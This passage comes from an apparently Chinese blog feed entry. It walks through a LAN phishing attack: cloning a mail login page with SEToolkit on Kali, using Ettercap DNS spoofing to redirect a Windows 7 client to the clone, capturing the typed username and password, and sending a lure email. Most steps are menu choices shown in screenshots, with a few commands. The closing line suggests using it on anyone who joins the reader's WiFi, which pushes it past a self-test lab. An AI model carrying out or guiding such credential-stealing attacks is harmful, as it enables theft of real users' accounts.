alt="alt"></p><p>选择第一个社会工程学攻击</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/5.png" alt="alt"></p><p>接着选择第二个web站点攻击</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/6.png" alt="alt"></p><p>接着选择第三个钓鱼攻击</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/7.png" alt="alt"></p><p>选择第二个网站克隆</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/8.png" alt="alt"></p><p>选择克隆网站的存放地址:存放在kali上</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/9.png" alt="alt"></p><p>选择要克隆的网址,我这里以139邮箱为例,网址:mail.10086.com</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/10.png" alt="alt"></p><p>用kali的浏览器输入127.0.0.1,跳转到了139邮箱</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/11.png" alt="alt"></p><p>但是此时的139还是真正的139邮箱,所以我们接下来就要做dns欺骗</p><p>在win7客户端输入nslookup mail.139.cn,可以解析出一个公网ip,ping一下,发现ping不通</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/12.png" alt="alt"></p><p>3、开启dns欺骗</p><p>首先编辑ettercap工具的程序问价:使用命令 vim /etc/ettercap/etter.dns</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/13.png" alt="alt"></p><p>找到如下位置并插入如下语句保存退出</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/14.png" alt="alt"></p><p>使用ettercap -G命令打开ettercap工具</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/15.png" alt="alt"></p><p>按下图操作</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/16.png" alt="alt"></p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/17.png" alt="alt"></p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/18.png" alt="alt"></p><p>扫描本网段,在扫描过程中可能扫不到,等三分钟再扫</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/19.png" alt="alt"></p><p>扫描到的结果如下</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/20.png" alt="alt"></p><p>把这两个ip地址分别添加到实例1和2</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/21.png" alt="alt"></p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/22.png" alt="alt"></p><p>勾选上</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/23.png" alt="alt"></p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/24.png" alt="alt"></p><p>双击dns_spoof</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/25.png" alt="alt"></p><p>开启攻击</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/26.png" alt="alt"></p><p>再用win7主机输入nslookup mail.qq.com,发现地址已经变成kali的ip地址</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/27.png" alt="alt"></p><p>在win7主机上用浏览器输入mail.qq.com,全然不知道已经进入我们的钓鱼网站了</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/28.png" alt="alt"></p><p>我们在账号输入zhangsan密码输入123456a 然后确定 </p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/29.png" alt="alt"></p><p>发现我们的账号和密码都被窃取了</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/30.png" alt="alt"></p><p>4、如果要想让用户进入这个网站他完全不可能直接去登陆,所以我们需要给他发送邮件</p><p>这里以我的邮箱<a href="mailto:[email protected]">[email protected]</a>为例</p><p>重新打开一个终端窗口,还是使用我们第一个用到的工具,setoolkit</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/31.png" alt="alt"></p><p>选择第一个社会工程学攻击</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/32.png" alt="alt"></p><p>然后选择第五个邮件攻击</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/33.png" alt="alt"></p><p>由于我只攻击一个邮箱,选择第一个</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/34.png" alt="alt"></p><p>这里输入你要诈骗的邮箱地址,我的qq邮箱地址</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/35.png" alt="alt"></p><p>这里选择gmail邮箱攻击</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/36.png" alt="alt"></p><p>选择发送的用户名为 <a href="mailto:[email protected]">[email protected]</a></p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/37.png" alt="alt"></p><p>输入邮件标题和正文,ctrl+c,回车结束编辑</p><p><img src="/2020/01/11/%E5%B1%80%E5%9F%9F%E7%BD%91%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/38.png" alt="alt"></p><p>这样我的qq邮箱就收到了我的诈骗邮件(我骗我自己,哈哈哈),然后受害人看到邮件信息,点开网址,输入账号密码,然后就受害了,就像我上面演示的过程一样,顺理成章的成了受害者</p><p>如果别人连接上了你的WiFi,你就可以通过这个小实验来搞他了,哈哈哈</p>]]></content>
<summary type="html">
<p>通过kali在局域网构建钓鱼网站,获取账号密码</p>
</summary>
<category term="好玩的" scheme="https://songzzzz.xyz/categories/%E5%A5%BD%E7%8E%A9%E7%9A%84/"/>
</entry>
</feed>